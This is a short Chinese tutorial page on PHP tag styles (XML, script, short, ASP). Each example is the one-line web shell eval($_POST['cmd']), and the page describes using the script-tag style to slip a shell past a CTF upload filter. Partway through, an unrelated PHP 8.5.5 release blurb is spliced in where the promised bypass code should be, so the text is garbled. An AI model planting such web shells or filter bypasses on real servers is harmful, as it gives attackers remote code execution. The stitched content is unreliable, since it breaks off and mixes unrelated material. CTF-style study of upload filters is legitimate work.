PHP的标识有4种风格

XML风格                        （推荐学习：PHP视频教程）

<?php eval($_POST[&#39;cmd&#39;]); 
?>

php推荐使用的标记风格。

服务器管理员无法禁用，所有服务器上均可使用该风格。

脚本风格

<script>
    eval($_POST[&#39;cmd&#39;]);
</script>

默认开启，无法禁用

笔者曾遇到过一CTF题目，要求上传shell，但是却对文件内容做了过滤 ， 以及 php，替换为了空格。此种风格中，language的值，大小写都可以，因此可以构造如下代码进行绕过

PHP 8.5.5

PHP 8.5.5 是 PHP 8.5 分支的维护更新版本。该版本延续了“小步快跑”的迭代逻辑，通过深度错误修复、底层性能微调以及安全加固，旨在为开发者提供一个更健壮、更高效的运行环境。该版本严格遵守语义化版本规范，不包含破坏性变更。

下载

<script>
    eval($_POST[&#39;cmd&#39;]);
</script>

简短风格

 
eval($_POST['cmd']);
?>

此种风格需要在配置文件php.ini中启用short_open_tage选项

此种风格在许多环境中默认是不支持的

ASP风格

此种风格需要在配置文件php.ini中启用asp_tag选项

在默认情况下是禁用的

php免费学习视频：立即使用
踏上前端学习之旅，开启通往精通之路！从前端基础到项目实战，循序渐进，一步一个脚印，迈向巅峰！